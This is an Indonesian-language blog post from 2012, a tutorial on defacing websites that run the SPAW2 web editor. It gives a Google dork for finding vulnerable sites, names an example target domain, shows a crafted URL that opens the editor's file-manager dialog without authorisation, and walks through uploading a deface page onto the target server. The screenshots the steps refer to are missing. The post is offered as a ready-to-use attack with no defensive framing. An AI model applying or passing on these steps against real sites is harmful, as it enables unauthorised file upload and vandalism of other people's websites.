Tutorial Deface asp

google dork : inurl:"spaw2/uploads/files/"

setelah mencari kesana kemari misalnya kita udah dpt target..

example :

Code:

http://www.corporation22.com/cms/spaw2/uploads/files/Solar_modules/HS-122st.pdf

gimana lagi nih? okeh..

ganti spaw2/uploads/files/Solar_modules/HS-122st.pdf

menjadi

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2⟨=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

sehingga menjadi

http://www.corporation22.com/cms/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2%E2%8C%A9=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

hmm gimana buat upload file deface kita??

begini

lihat pilihan folder di atas, pada link target yang telah di exploit Spaw td, kemudian ubah "images" menjadi "files"

seperti gambar :




kemudian upload





setelah selesai klik browse lalu upload file deface kalian..

seperti gambar :





kalo udah di upload gimana lagi supaya muncul hasil deface kita??
begini,

lihat dulu nama file yg kalian upload td apa.. setelah ketemu lihat disamping kanan kemudian klik [download files]





dan berikut hasil dari kerjaan diatas td :)




semoga sukses

Anda baru saja membaca artikel yang berkategori Hacking dengan judul Tutorial Deface asp. Anda bisa bookmark halaman ini dengan URL http://catatan-lutfi.blogspot.com/2012/07/tutorial-deface-asp.html. Terima kasih!

Ditulis oleh: Lutfi rahman - Selasa, 17 Juli 2012